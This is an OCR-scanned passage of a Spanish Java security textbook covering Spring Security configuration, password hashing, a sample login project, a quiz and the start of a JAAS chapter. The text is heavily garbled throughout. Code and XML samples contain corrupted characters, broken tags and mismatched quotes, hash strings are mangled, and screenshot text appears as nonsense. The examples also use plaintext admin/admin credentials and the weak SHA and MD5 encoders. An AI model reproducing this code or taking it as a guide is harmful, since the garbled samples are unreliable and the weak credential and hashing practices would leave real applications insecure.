protect-pointeut podemos especificar una expresion gue indigue gué puntos
del cddigo queremos proteger e indicar a qué roles les sera permitido el acceso.
Para hacernos una idea ripida, podriamos verlo como que estamos poniendo una
expresiom regular con la que deben encajar los métodos gque queremos proteger. La
sintaxis de esta expresion regular es la de Aspect), el framework AOP mas difundido
en el mundo Java y que es el que usa Spring.

tglobal-method-securitys
<protect-pointcut expression="execution{* eliminarUsuarieof(..)})"
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access="ROLE_ADMIN/S>
«/global-method-securitys

Lo que viene a decir la expresion Aspect] anterior es que queremos interceptar
la gjecucion de cualquier método llamado eliminarUsuario, tenga el nimero y tipo
de argumentos que tenga (el “.." es un comodin para uno o mas tokens) v devuelva lo
que devuelva el método (como solo habrd un valor de retorno ponemos el comodin
para un solo foken, “*7), Asi, para ¢jecutar cualgquier método que encaje con esta

expresiom habrd que tener rol ROLE ADMIN.

54.4 Seguridad en contrasefias

Spring Security tiene la capacidad de afiadir eriptografia al password de
usuario, de forma que las claves de usuario puedan ser codificadas a partir de un
algoritmo de hashing. Esto es soporiado por la etiqueta <password-encoder=. En el
ejemplo siguiente s¢ emplea en algoritmo SHA.

tauthentication-providers:
<password-encoder hash=*sha”f>»
cuser-services
cuser name=“admin® password=" 487ca798felfdSdT?S5dedaz3iclSaccafceslbel
™ authorities="ROLE_ADMIN" />
cuser name="user™ password=" 63Bbac?31294171648258268FF2afda@ibcb2aal
T authorities="ROLE_USER™ />
<fuser-services
¢ fauthentication-providers

Para trabajar con password codificadas podemos hacerlo desde Java con la
interfaz PasswordEncoder que ofrece Spring.La interfaz PasswordEncoder ofrece
2 métodos.

public interface PasswordEncoder {
5tring encode(CharSeqguence rawPassword);

boolean matches(CharSequence rawPassword, 5tring encodedPassword);

1

En Spring podemos encontrar una serie de implementaciones donde cada
una representa un algoritmo de hash.El paquete donde podemos encontrar estas
clases es orgspringframework.security.authentication.encoding.*
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© MdsPasswordEncoder - org springframework.security.auth
(¥ RaseDigestFasswordEncoder - orp sornafamewark.secur
& BasePasswordEncoder - org_springframewnr, seosby_auth
Gldapshammdamder O Sprngframiework seourity
(& MmdaPasswordEncoder - oo spengframmewark securty. st
(3 MessageDigestPasswordEncoder - org.sprngframeor ks
O PasswordEncoder - on.springframework, securby.authents
& plntextPasswordEncoder - org sprngiramework.sscunty.
& shaPasswordEncoder - org.sprngframework.securnity.auth

MO Implementation of PasswordEncader,

IFa null password is prasented, it will be treated as an amphy
dvring [} passward.

A5 MDS I5 & one-way hash, the salt can contam any characters,

This is @ conweniznce class that extends the
MapeageDigeatPasawordEncoder and passes MOS as the
algorithm to use.

r

Ray Krueger

codin sampaleanu

Ben Alex

Figura 5.4. Clases disponibles PasswordEncoder

Para usar el algoritmo de hash que queramos, necesitamos afiadir la etiqueta

password-encoder con ¢l atributo hash:

(<authentication-managers
<arthentication-provider:
cpasspord-encoder hash="">

dzalt-sOUrce user-proos Aokl
</ paameard - encoder - = {gena)
CUSEF-SEPVICE = herypt
fuser name="gini g e
¢fezer-service: = Yt
 fawthentication-provice = e
¢ fauthentication-manegery = "ahg. 356"

= aha”

bans : begass

Wtriute | haeh
[Defres the algorthm usad on user passwonds.
Borypt & recommended.

it Ty § Swing
IErmmnerated Vahes
- berypt

Figura 5.5. Configuracion password-encoder en spring-secunty.xml

9.5 EJEMPLO DE PROYECTO CON SPRING SECURITY

F Requisitos:

Eclipse 4.2

JDEK 1.7 v Tomeat 7
Maven 3

Spring 3
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Creamos un proyvecto maven con Eclipse

{::- Hew Maven Project le
New Maven project Tﬁ

Saiect an Archetype

Catalog: | Al Catakxgs
mrer: |

Group Id | artact 14 | verson |

org.apache.maven.archetypes maven-archetype-plugin-ste 1.1

ong.apache.maven.archetypes maven-archetype-portiet 1.0.1

org.apache.maven.archetypes maven-archetype-profies 1.0-alpha-4

org.apache.maven.archetypes maven-archetype-quickstart 1.1

org.apache.maven.archetypes maven-archelype-site 1.1

org.apadhe.maven.archetypes maven-archetype-sie-sinngie 1.1

o). apatne. Maven.arcnelypes  mav'en-d 1 -
An archetype wiich contains a sample Maven Webapp project. :I

Figura 5.6. Crear un proyecto con maven desde eclipse

{:::- Mew Maven Project

MNew Maven project
Spedify Archetype parameters

GoupId; | com.spring
Artifact }d: | sprngsecurty

Verson: | 0.0.1-SHAPSHOT -]
Package: | COM.SPANG.SDMQSECUITY

Figura 5.7. Crear un proyecto con maven desde eclipse
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Al crear el proyecto tendremos la estructura de un proyecto web

[ & 2 sprng-securiy
=

| & s
== main

=&

| - target

i srofman/java
=3 com.spring. web.controler
- [7] securmyControlier.java
i# srofmain/resources
=, Maven Dependendces
& Referenced Libraries
= Apache Tomecat v7.0 [Apache Tomcat v7.0])
B JRE System Ubrary [dk1.7.0_75]

-2 webapo
£ = WEB-INF

pages
El admin.s
El loan.jsp

El welcome.jsp

¥ mvc-dispatcher-senvet.xml
¥ spring-security.xmi

¥ web.xml

M pom.xm )

P

Para que maven se baje las dependencias en ocasiones hay gue decirle al

proyecto que las actualize mediante la opeidn Maven

Update Project

P T T INT OOV INE WD
Add Dependency
Lo Refrash F5 i
2 Add Plugin
Close Praject M2 Wew Maven Moduke Pro
Close Unrelated Projects & ik
Assiqn Working Sets_.. Download Javaboc
= Download Sources
R +} Update Project...
Debug As b
Profie As k Select Maven Profiles... Ciri+Ak=+P
::d“im Dsable Workspace Resslution
Disable Maven Naku
Restors from Local History... i

Figura 5.8. Actualizar dependencias de un projecto con maven
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Sien Maven dependences de nuestro repositorio local vemos las librerias de
spring significa que las has bajado bien.

=-@h Maven Dependencies

?J_[:- spring-core-3.2_8.RELEASE jar - M2_REPO\org'springfr
-4 commons-ogging-1.1.3 jar - M?_REPO\commons-lngg
- spring-web-3.2 8 RELEASE jar - M2_REPO\org\springh
-4 spring-aop-3.2.8.RELEASE jar - M?_REP(\org|springfr
- aopaliance-1.0 jar - M2 _REPO\acpaliance\zopallance) 1
- spring-beans-3.2 6. RELEASE jar - M2_REPO\org\spring
- spring-context-3.2.8.RELEASE jar - M2_REPC\org\sprir
_1_-_: spring-expression-3.2 8 RELEASE jar - MZ_REPO\org\s
- spring-webmvc-3.2.8.RELEASE jar - M2_REPO\org\spri
e sprhg-securi\,r-web-illRELEASE.jar - M2_REPC\org
-4 spring-securby-core-3.2. 3.RELEASE jar - M2_REPO\arg

-4 spring-securiy-config-3.2. 3. RELEASE jar - M2_REPD\al

Figura 5.9. Maven dependencias en nuestro provecto

Configuramos pom.xml donde afiadimos las dependencias de
spring version 3.2.8 y spring security version 3.2.3

tpropertiess»
¢jdk.wersion»1.7</jdk.version>
<spring.version>3.2.8.RELEASE</spring.version>
¢spring.security.version»3.2.3.RELEASE«</spring.security.version:>
¢jstl.versionz1.2</jstl.version>
<fproperties:
cdependencies:
<|-Dependencias Spring --»
<dependency
<groupldsorg.springframework</groupid:>
cartifactId>spring-core</artifactids
<version»&{spring.version}«/version:
< /dependencyz>
<dependency >
<groupldrorg.springframewocrk</groupids
<artifactId>spring-web</artifactIid»
<version=&{spring.version}</version:>
</dependency>

cdependency:
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cun-Figur'al::.ﬁn mvc-dispatcher-servlet.xml
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Configuracion spring-security.xml
<beans:beans xmlns="http://www.springframewocrk.org/schema/security™
xmlns:beans="http://www.springframework.org/schema/beans™
amlns:xsi="http://wwe.w3.org/2801/XML5chema-instance”
xsirschemalocation="http://www.springframework.org/schema/beans
http:/fwww. springframework. org/schema/beans/spring-beans-3.8.xs5d
http:/fwww.springframework. org/schesa/security
http:/ fwww. springframework. org/schema/security/spring-security-3.2, xsd">
¢http auto-config="true" wse-pxpressions="true":
¢intercept-url pattern="/adein*** access="hasfole( "ROLE_ADMIN®'}™ [»
</http»
tauthentication-managers»
<authentication-provider:
(user-services
cuser name="admin" password="admin™ authorities="ROLE_ADMIN" /»
cfuser-services»
<fauthentication-providers:
<fauthentication-manager:
< /beans:beans:

En esta configuracion declaramos un vsuario con rol ROLE ADMIN y
afiadimos un patron(pattern) indicando que el aceeso a la ruta fadmin requerird gue
el usuario se tenga que autenticar con dicho rol.

Declaramos una clase donde configuramos las rutas que podrin invocar
desde la URL.

SecurityController.java
package com.spring.web.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.servlet.ModelAndView;
@ontroller
public class SecurityController {
@ReguestMapping(value = { “/*, “fwelcome**" }, method = ReguestMethod.GET)
public ModelAndView welcomePage() {
Modelandview model = new ModelAndView();
model . addObject("title™, "Sprimng Security™);
model.addobject{"message”, “This is welcome page™);
model. setWiewName(“welcome™) ;
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welcome. jsp
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tciif test="${pageContext.request.userPrincipal.name != null}">»
ch2s
Welcome : %{pagefontext.request.userPrincipal.name} | <a
href="javascript:formSubmit()}"> Logout</fa:x
</h2>
¢fciifr

¢sec:authorize access="isRememberMe(}">»
¢h2»# This user is login by “Remember Me Cookies™.<fh2:
¢fseciauthorize:>
¢sec:authorize access="isFullyAuthenticated()}"»
<h2»# This user is login by username [ password.</hi>
¢fsec:authorizes
<« fbody>
</htmlz

La aplicacidn la podemos compilar con maven.

T - : . o Serer ARSSTIT:X. R
[Debug As F E5 2 Java Appiet AR+Shift+X, A
Profie As b [T 3 Java Appication AR+5hift+X, 1
Valdate m2 4 Maven buiid AL+Shift+X, M
Tearm b om2 S Maven buid.

Restore from Local History., .. mi & Maven clean
Maven bom2 7 Maven gensrate-sources
Java EE Took *EE!!EEE%!!%E!!!!!!!!!!!!!!!!!!!!!!

Figura 5.10. Maven install

51 no tenemos ningan error de compilacion tendriamos que obtener en la
carpeta el el fichero SpringSecurity.war

=@ Apache Tomcat v7.0 [Apache Tomcat v7.0]
=-@% JRE System Library [jdk1.7.0_75]
&= srC
== karget
g generated-sources
7= m2e-wip
q@ maven-archiver
A (= SpringSecurity
NER < pring Serity. war
il pom.xml

Figura 5.11. Generacion SpringSecurity.war en la campeta target del provecto
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Al compilar obtenemos un fichero war que tenemos que desplegar en
el servidor de aplicaciones tomeat 7. 51 desplegamos el war dentro de la ruta de
webapps de tomeat v al acceder a la aplicacién en local deberiamos ver la pdgina de
weleome que no nos pide ningin tpo de autenticacion.

http:Mocalhost: 8080/ SpringSecurit/welcome

Title : Spring Security

Message : This is welcome page

51 intentamos acceder a la URL:
http:Nocalhost: 8080/ SpringSecurity/admin

Al seruna URL gue esta protegida donde solo podra acceder un usuario con
rol de administrador, Spring lo que hace internarmente es interceptar la peticion y

transformarla en otra que hace que se muestre la pigina de login que esta configurada
por defecto.

http:Mocalhost: 8080 SpringSecuritv/spring_security_login

Login with Username and Password

User: facimin
Password: sessssse

Login

Figura 5.12. Pégina de login por defecto

Si introducimos las credenciales definidas en el fichero spring-security.
xmlpodremos acceder a la pigina de admin

Title : Spring Security
Message : This is protected page

Welcome : admin | Logout

# This user is login by username ! password,

Siintroducimos credenciales erroneas nos devuelve la pagina de login con el
error indicando que los datos no son correctos.
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Your login attempt was not sucesssful. try again.

Reason: Bad credentials
Login with Username and Password

User: haﬁ

CELTE L]

Pazsword:

Losgin
S

Figura 5.13. Mensaje de error credenciales erroneas por defecto

9.6 EJERCICIDS

1. Afnadir en el provecto anterior la posibilidad de gque el usuario se
pueda logear con una pigina de login customizada. Para ello creamos
una pagina login.jsp. También hay que declarar en el fichero spring-
securitv.xml la etiqueta correspondiente al formulario de login

v ciales son los parimetros que recibe desde la pégina jsp en los
atributos username-parameter v password-parameter.

<form-login login-page="/login"
default-target-url="/welcome"
authentication-failure-url="/login?error*
username-parameter="usernams"

password-parameter="password” />

<logout logout-success-url="/loginflogout™ delete-cookies=

PISESSIONID™ /3

Crear en la clase SecurityController.java un nuevo método que rediriga
a la pdgina de fogin.

@RegquestMapping{value = “/login", method = ReguestMethod.GET)
public ModelAndvView login(

BRegquestParam{value = "error”, required = false} 5tring error,

BReguestParam{value = "logout™, regquired = false} 5tring logout) {
ModelAndview model = new ModelAndView(};
if (error 1= null}) {

model . addObject({“error”, “Invalid username and password!™);



Capitel 5 SPRING SECURITY 258




260 SEGURIDAD ENAPLICACIONES WEB IAVA




@ R-MA

Capitul 5 SPRING SECURITY

261

Ejecucion:

Login with Username and
Password

Tovalid veemans and password!

User; EeT
Possword: e
Recordar mi
usmarie ¥ =
password

Subrml

Login with Username and
Password

You've been lopged out suceesfully

Ulser: admin
Password: [rassanas
Recordar mi
nsmaris v
password

nubmit

2. Anadir en el provecto la posibilidad de configurar el password de
forma cifrada en el fichero spring-securityv.xml con algunos de
los algoritmos soportados. En este ejemplo usamos el algoritmo
SHA usando como salt{semilla) para generar el hash la propiedad

username del usnario.

<authentication-manager:>

<avthentication-providers

<password-encoder hash="sha":»

¢salt-source user-property="username/:

</password-encoder:

<user-services

<user name="admin® password="ad@546cc4fdealisT2828bbEA338BEERad1bFfdab™

authorities="ROLE_ADMIN" />
<fuser-service:
<fauthentication-provider:

<fauthentication-manager:

(Como podemos obtener el hash de la password?

Podriamos crearnos una clase que nos pida por teclado el nombre y la
password v nos genere el hash utilizando el mélodo encodePassword de la clase
PasswordEncoder.En este ejemplo estamos utilizando como implementacion la
clase ShaPasswordEncoder, pero si nos interesa otro algoritmo como MD3 bastaria
cambiarla por la implementacion Md5PasswordEncoder.
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SaltedPasswordEncrypter.java

import java.util.Scanner;

import org.springframework.security.authentication.encoding.ShaPasswordEncoder;

public class SaltedPasswordEncrypter {

public static woid main{5tring[] args) {

Scanner scanner = new Scanner{System.in);
System.out.printlni{“User name{salt):");
S5tring salt = scamner.nextLine();
System.out.println(“Password:");
String password = scanner.nextliine(]};
ShaPasswordEncoder encoder = new ShaPasswordEncoder();
String encryptedPassword = encoder.encodePassword(password, salt);

System.out.println{“encrypted password in SHA:“s+encryptedPassword);

1

Ejecucidon:

User name{salt):
admin

Password:

admin

encrypted password in SHA:ad48546ccdfdEal2s72E2EbbER33E0888adlbfdab

5.7 RESUMEN

La seguridad es un aspecto crucial de muchas aplicaciones. Spring Security
cuenta con un mecanismo para proteger su aplicacion sencillo, Aexible y potente.
Utilizando una serie de filtros de servlet, Spring Security puede controlar el acceso a
los recursos web, incluyendo controladores spring MVC También se puede proteger
las ejecuciones de métodos medianteel uso de programaciom orientada a aspectos.

Con respecto a la autenticacion de los usuarios, Spring Security proporciona
varias opciones. Podemos configurar una autenticacidn, respecto a un repositorio de
usuarios en memoria, base de datos relacional v servidores de directorio LDAP.
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5.8 AUTOEVALUACION UNIDAD 5

Selecciona la respuesta correcta

. A0ué modulo de Spring Security es el encargado de gestionar la

autenticacion?

Authentication manager
Login manager
SpringLogin
SpringAuthentication

B o oo

. Para implementar la seguridad con Spring es necesario indicarle al

contenedor de beans de Spring donde estd nuestro fichero de configuracion
de seguridad. ;De que tipo es la clase que hay que implementar como
listener?

org.springframework.web. filter. ContextLoaderListener
org.springframework. web filter. ContextFilterListener
org.springframework.web.context.ContextLoaderListener
org.springframework. web.context.ContextFilterListener

e o oo

o dOQué etiqueta definida dentro de la configuracion de spring security

indica mediante patrones aquellas URL que estin protegidas v los roles
que pueden acceder a cada uno de los recursos definidos?

url-intercept
intercept-url
intercept-login
intercept-resource

(=9 -~

. (0ué etiqueta definida dentro de la configuracién de spring security

permite customizar la pagina de login para adaptarla a nuestros requisitos?

form-login
login-form
form-custom
login-custom

e o o

. tQué accidn por defecto definida en Spring Security 3 permite invalidar

automaticamente la sesidon HTTP del usuario logueado y redirigir al
usuario a una pagina de “salida™?
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. logout

spring_security _logout
security logout

. ]_spring_security logout

B OO

6. ;Qué método que se puede usar con el lenguaje de expresiones
SpEL{Spring Expression Language) permite comprobar si ¢l usuario
actual que se ha autenticado tiene uno de los roles especificados?

hasRoles(roll, rol2, ...}
hasAnyRole(roll, rol2, )
hasRoleAuthentication({roll, rol2, ..}
hasAuthenticationRoles(roll, rol2, ...}

BEo oD

7. ;(Qué metodo que se puede usar con el lenguaje de expresiones
SpEL{Spring Expression Language) permite comprobar si el usuario se
ha autenticado desde una 1P determinada en formato ipv4?

haslpvd Address(direccion_ip)
checklpvdAddress{diteccion ip)
haslpAddress(direccion_ip)
checklpAddress(direccion_ip)

(=W - -

8. (Como podemos afadir seguridad en las paginas JSP de forma que
podamos controlar si mostrar o no una determinada seccidon dependiendo
del rol del usuario que intenta acceder?

a. Empleando el taglib de jsp security
=% taglib prefix="c" uri="http:/fjava.sun.com/jsp/jstl/core™ %=

b. Empleando ¢l taglib de Spring Security
=%pf taglib  prefix="security” uri="htp://www.springframework,
org/security/tags” %=

c. Empleando el taglib de Spring Security
=Ui taglib prefix="security” uri="http://www.springframework.
org/security” %=

d. Empleando ¢l taglib de Spring Security

=%t taglib prefix="security™ uri="http://www.springframework.
org/security tags™ %>

9. ;Qué etiquela permite especificar qué tipo de algoritmo de codificacion
se utiliza para cifrar la contrasefia del usuario v qué atributo hay que
utilizar para indicar el algoritmo hash?
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<password-encoder algorithm="algoritmo"/>
<password-encrypt hash="algoritmo™ /=
<password-encoder hash="algoritmo™/>
<password-encrypt algorithm="algoritmo™/>

10.; En qué paquete de Spring podemos encontrar las implementaciones de
PasswordEncoder que tenemos disponibles para cifrar las contrasefias
que van en el fichero de configuracion spring-security. xml?

org.springframework security authentication.encrypl
org_springframework security.encrypt
org.springframework. security encoding
org.springframework security authentication.encoding

BEo oD
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5.10 LECTURAS RECOMENDADAS

F Dcoumentacion oficial de spring security

hutp:diprajects spring. fo/spring-security

¥ Dcoumentacidn sobre conliguracion
hitp - fwww.arguitectiurajava. com/spring=security-configuracion’
hitpwww juntadeandalucia es/servicios/madeja/contenido/recurso/2 1)
hitp:eleventv.com/configurando-spring-securihy’

511 GLOSARIO DE TERMINOS

¥ Annotations: Una Anotacion Java es una forma de afiadir metadatos al
codigo fuente Java que estin disponibles para la aplicaciom en tiempo
de ejecucion. Muchas veces se usa como una alternativa a la tecnologia
XML,
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¥ Builtd Path: Directorio java de nuestra aplicacion que contendra las
librerias externas v mds configuraciones para ¢l correcto funcionamiento
de la aplicacidn.

¥ Expression Lenguaje (EL): Lenguaje de programacion utilizado para
agregar expresiones en las paginas web.

F IJVM (Java Virtual Machine): Especificaciones para el interprete
de programas escritos en Java que han sido compilados en codigo
intermedio. Los desarrollos especificos para cada sistema permiten que
los programas en Java se ¢jecuten independientemente del procesador o
el sistema operativo,

¥ Maven: Herramienta de software para la gestion y construccion de
proyectos java. De forma automdtica genera la estructura de directorios,
descarga las librerias y dependencias que se le indican en el fichero pom.
xml automaticamente desde el repositorio de maven.

¥ MD5: “Message-Digest Algorithm 57 es un algoritmo de resumen
criptogrifico, o de funcidon hash, MD-5 utiliza ¢l valor de hash de 128 bits.

F Pagquetes de Java: Contenedor de clases que permite agrupar las distintas
partes de un programa cuyva funcionalidad tienen elementos comunes.

¥ POM: Acronimo de “Project Object Model”. Fichero de Maven que describe
un artefacto, sus dependencias y sus procesos automdticos (compilacidn,
prucbas unitarias, empagquetado, despliegue, etc ), en otras cosas.

F Spring Security: Proyecto de Spring enfocado en autenticacion vy control
de acceso de la aplicacion,

F Spring servlet: Spring proporciona los mecanismos adecuados para
evitar mezclar la capa de negocio con la de presentacidon dentro de un
servlel. Para cada servlet de esta clase de Spring debe existir un fichero
de configuracion en el directorio WEB-INF llamado nombreaplicacion-
servlet.xml y serd cargado desde el web.xml.

F SHA-1/SHA-2: Acrénimo de “Secure Hash Algorithm™ {Algoritmo de
funcién de hashing criptografico seguro). Una familia o un conjunto

de funciones criptograficas de ordenamiento relacionadas, que incluye
SHA-1 y SHA-2.

F WAR: Fichero empaquetado utilizado para desplegar una aplicacion
Java en un servidor de aplicaciones como Apache tomeat o GlassFish.



AUTHORIZATION SERVICE) Y
COMUNICACION SEGURA (SSL)

INTRODUCCION

Autenticacion y autorizacion son dos conceplos que generalmente se
implementan juntos, la autenticacidon determina que un usuario sea quién dice ser v la
autorizacion verifica que la accidn que intenta realizar esté permitida. De este modo,
es necesario asegurar la identidad del usuario antes que realice cualquier operacion en
el sistema. Dentro del ecosistema de existe una extension llamada Java Authentication
and Authorization Service (JAAS) que trata de resolver dicha problemdtica.

OBJETIVOS DE LA UNIDAD DIDACTICA

1. Introducir ¢l modelo de seguridad en Java mostrando los principales
elementos que podemos encontrar a nivel de arquitectura,

2. Dar a conocer principales librerias que podemos encontrar en Java a nivel
de APls, herramientas e implementaciones de algoritmos, mecanismos y
protocolos de seguridad.

3. Implementar un sistema cliente servidor mediante HTTPS y centificados
de forma segura,

4. Implementar un sistema autenticacién y autorizacidn medinate JAAS y
Tomeal.
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6.1 MODELO DE SEGURIDAD EN JAVA

En Java existen unos buenos mecanismos de seguridad que controlan el
acceso a ficheros individuales, sockets v otros recursos sensibles. A lo largo de los
afios, Java ha progresado, implementando medidas para mdas aspectos de seguridad,
teniendo como objetivos principales dar soporte a S5L, PKI, certificados digitales
y servicios de autorizacidn y autenticacion. Todos estos servicios se basan en un
conjunto ampliamente reconocido y soportado por estdndares. Java fue disefiado
para ofrecer las siguientes medidas de seguridad basicas:

F Uso de un lenguaje de programacién segure. El lenguaje de
programacidn Java estd diseflado para ser seguro.

F Integraciom de un sistema de control de permisos para los programas.
Java define un mecanismo de sandbox que permite controlar que se le
permite hacer a un programa vy controlar como accede a los recursos.

F Encriptacién y uso de certificados. S¢ definen mecanismos para que
los programadores puedan firmar el cddigo, de manera que los usuarios
puedan verificar quien es el propietario del codigo v que este no ha sido
modificado después de ser firmado.

Dentro de la mdquina virtual de Java(JVM) hay un componente llamado
compilador JIT (Just In Time) que optimiza el funcionamiento en iempo de ejecucion
del codigo interpretado. De esta forma se consigue reducir la diferencia en tiempo
de ejecucién entre un programa Java con bytecodes interpretado v un programa
compilado a cddigo nativo.

Otro elemento fundamental de la plataforma Java es su enorme biblioteca
de clases (class libraries). Se trata de un conjunto de bibliotecas estindar que
proporcionan una gran cantidad de utilidades v funciones para todo tipo de operaciones,
como el procesamiento de expresiones regulares, ¢l trabajo con distintos tipos de
colecciones, funciones de bajo nivel de entrada-salida o el procesamiento de imdgenes.
Las librerias se distribuyven como ficheros JAR que se cargan de forma dinamica en el
intérprete y a las que nuestras aplicaciones llaman en tiempo de gjecucion.

Elndeleo de la seguridad en Java estd construido por los siguientes elementos:

F Byte Code Verifier: garantiza que el codigo tiene el formato correcto,
que el bytecode no viola las restriciones de seguridad de tipos de la J'VM,
que las pilas internas no puedan desbordarse ni por arriba ni por abajo
v que las instueciones en bytecode tengan pardmetos de lpos correctos.

F Class Loader: es responsable de traducir el bylecode en clases Java
gque pueden ser manipuladas por el entorno de gjecucion Java - JRE.
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Diferentes “Class Loaders™ pueden emplear diferentes politicas a la hora
de decidir si la clase deberia ser cargada en el entorno de ejecucion o no.
F Security Manager: que controla el acceso a los recursos en tiempo de
gjecucion. Los recursos sobre los que tene control son multiples: E/S
de red v ficheros, creacion de cargadores de clases, manipulacion de
hilos de ejecucidn, ejecucion de programas externos (del S0), detener la
JWM, cargar codigo nativo en la maquina virtual, realizar determinadas
operaciones en el entorno de ventanas o cargar cierlos tipos de clases.

¥ Access Controller: permite una forma mis flexible v configurable del
control del acceso a los recursos, anadido en la versidn Java 2.

¥ Permissions: cncapsula formas para designar las limitaciones de acceso
¥ permisos que puedan estar asociados con recursos de valor.

F Policies: provee el mecanismo para asociar los permisos “permissions™
con los recursos de forma configurable.

F Protection Domains: encapsulan partes que necesitan el mecanismo de
control de acceso.

F Runtime Execution Engine: ¢s ¢l motor que ¢jecuta finalmente el codigo

Java Application code

Java 2 Platform

Class Loader Byte: Code Vierifier 'I

Manager

Access
Controlier

Policies

Prolection
Domains

Java Runtime Execution Enging lava Platform Classes

Operating System and Resources

Figura 6.1. Arquitectura basica de seguridad en lava
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Ademas, J25E se construye sobre un conjunto adicional de nuevas
tecnologias comao:

F Arquitectura Criptogrifica de Java - (JCA): Provee la infraestructura
para llevar a cabo una bdsica funcionalidad criptografica con Java.
Ademis, incluye APl para el manejo de claves y centificados.

F Servicio de Autenticacion v Autorizacidn Java - (JAAS) JAAS es un
“framework™ para proveer los servicios de autenticacidn y aulorizacion
a las aplicaciones Java. Como su nombre indica se divide en dos partes
fundamentales, autenticacién vy autorizacion

F Extension Criptogrifica de Java - (JCE) - JCE es un “framework” para
implementacién del cifrado, generacion de claves v algoritmo MAC para
autenticacion

F Extension Java para sockets seguros - (JS5E): Provee la interfaz para
construir aplicaciones Java con soporte al protocolo S5L. S5L (Secure
Socket Layer) es un protocolo criptogrifico que proporciona conexiones
seguras a través de una red de comunicaciones entre cliente y servidor.

F Estindares para la criptografia de Clave Piblica - (PKCS): Provee el
APl para PKCS#11, estindar de criptografia de clave pablica para tokens
propuesto por RSA

F Soporte para Infraestructura de Clave Puablica - (PKI): Provee API
para infraestructura de clave pablica, manejo de certificados X509, ete.

6.2 INTEGRANDO AUTENTICACION Y AUTORIZACIGN

6.2.1 JAAS: Java Authentication and Authorization Service

Java Authentication and Authorization Service es una plataforma que permite
afiadir seguridad a las aplicaciones J2EE, las cuales puedes restringir que tipo de
peticiones acepta en base a los encabezados HTTP y que usuarios tienen permisos.

Es el framework que Java proporciona, para integrar de una manera
uniforme, a lo largo de nuestra aplicacion, la autenticacidn y autorizacion de usuarios,
y gestionar ¢l acceso a los diferentes recursos que en ella manejamos. A grandes
rasgos, podemos definir 2 tipos de procesos,
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¥ Autenticacion es el proceso de asegurar que un usuario es quien dice
ser. Normalmente se le da la seguridad wsando un id de usuario v su
respectiva conlrasefia.

¥ Auterizacion es el proceso de asegurar que ciertos usuarios tengan un
perfil especifico para acceder a ciertos recursos autorizados.
Los eomponentes principales de JAAS son:

F Java Cryptography Architecture o JCA. Esta APl proporciona las
funcionalidades de cifrado, descifrado v gestion de certificados.

F Java Secure Socket Extension o JSSE. Toma como base la funcionalidad
ofrecida por JCA y la utiliza, junto con los mecanismos de conexion de
red de Java, para proporcionar conectividad segura.

F JAASAPL Proporciona la funcionalidad de autorizacion v antenticacidn.
Sus clases e interfaces se encuentran bajo el paquete javax.security.auth

JASS API estd orientado a conceder permisos en funcidon de quién efecuia

el codigo. Se basa en PAMs o modulos (Pluggable Authentication Modules) que
proporcionan mecanismos de autenticacion. El mecanismo por defecto es el de
usuario=password: cuando un usuario ejecuta cddigo que requiere privilegios se
pide el nombre de usuario v el password, v si estos son correclos se conceden los
permisos. Asi, JAAS abarca tanto la autenticacion, o verificacion de identidad del
usuario, como la aulorizacion, es decir la concesidn de permisos de acceso a los
recursos. El esquema general se muestra en la imagen siguiente:

getPassword [)

commit ()

Ragquired, regquisite, Sufficisnt, Opticmal

Figura 6.2. Esquema general de JAAS
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Login Login
Context Configuration

Login
Callback |, Module

Handler

Figura 6.3. Agquitectura de JAAS

A grandes rasgos, los pasos que habria que seguir para autenticar a un
usuario son:

1. Laaplicaciom crea un LoginContext v llama al método login ()

2. El LoginContext busca ¢l LoginConfiguration apropiado para cargar ¢l
LoginModule predefinido.

3. LoginContext delega la autenticacidn en los LoginModule.

4. Los LoginModules utilizan ¢l CallbackHandler para comunicarse con la
aplicacion.

5. 81 el usuario se aulentica correctamente, se asignan principal y
credenciales con el objeto Subject.

6. Sila autenticacion falla, se lanza una excepcion del tipo LoginException.

6.2.2 javax.security.auth.login: LoginContext y Configuration

La clase principal que hay utilizar es javax.securitv.auth.login.
LoginContext, la cual nos proporciona el punto de entrada a los diferentes sistemas
de autenticacidn que hayamos configurado.Comenzaremos escribiendo el esqueleto
basico de nuestra aplicacion:



@ RA-MA Capitulo 6. JAAS Y COMUNICACION SEGURA 273

EjemploJAAS.java

Con este gjemplo vamos a autenticar a un usuario a través de su nombre
y password. El primer paso es crear lo que se denomina un contexto de Login o
LoginContext al que pasamos un nombre de contexto seguido de un manejador
llamado UserPasswordCallbackHandler donde parametrizamos ¢l nombre de usuario
¥ password:
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F

r

La autenticacion se realiza cuando se invoca el método login() del objeto
loginContext().

El método login() invoca a los LoginModules configurados para realizar
la autenticacion.

Cuando la autenticacion tiene ¢éxito, el sujeto puede ser recuperado
mediante ¢l método getSubject().

El método logout() cierra la sesion del sujeto v elimina el objeto
autenticado.

o LA s L R

public class LoginContext {

ﬁﬁ.ﬁl:‘.c void login() throws LoginException { }
public wvoid legout() throws LoginException { }
public Subject getSubject() { }

Figura 6.4. Principales métodos de |a clase LoginContest

Para que la autenticacion funcione, debemos tener especificado que al
contexto JaasModule se le asocia un determinado modulo de fogin o LoginModule
con una determinada configuracion. Por ello, la clase abstracta Configuration define
como deben usarse LoginContext vy LoginModule. Mds concretamente, determina
gue modulos de login deben ser invocados v como su éxito o fracaso afecta al
proceso de login, Se establecen cuatro posibilidades para el flag que se pasa desplies
de indicar el modulo de autenticacion:

r

required: Para que la autenticacion del usuario sea vilida, el modulo
que acompafia a este flag debe devolver cierto. Independientemente del
resultado, el resto de los mddulos especificados en la pila seran ejecutados,
aungue su resultado no serd tenido en cuenta.

requisite. Similar a required, pero en caso de que el modulo devuelva
falso, ningln otro modulo serd Hlamado,

sufficient. 5i la ejecucidn de este mbddulo devuelve cierto, no se gjecutard
ningin olro module y se considerara la autenticacion como vilida. En
caso de que falle, se seguirin ejecutando los modulos en orden y el
resultado de la autenticacion dependerd de ellos.

optional. No importa si este modulo devuelve cierto o no; la ejecucion de
los siguientes modulos continuard igualmente.
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Descripeidn

Required

El médulo fagin debe tener éxito para que el fogin completo tenga éxito. Incluso si
falla se consulta a otros mdédulos de fogin.

El mddulo fogin debe tener éxito para que el fogin completo tenga éxito. 51 falla, el
proceso de login es corto-circuitado v no se llama a ningin otro madulo de foegi,

Sufficient  Sieste modulo tene éxito y ningin modulo requetido falla, ¢l fogin completo tiene éxito,

Optional  El éxito de este mddulo no influye en el resto del proceso

Requisite

JAAS requiere un fichero que indicara la configuracion basica y los modulos
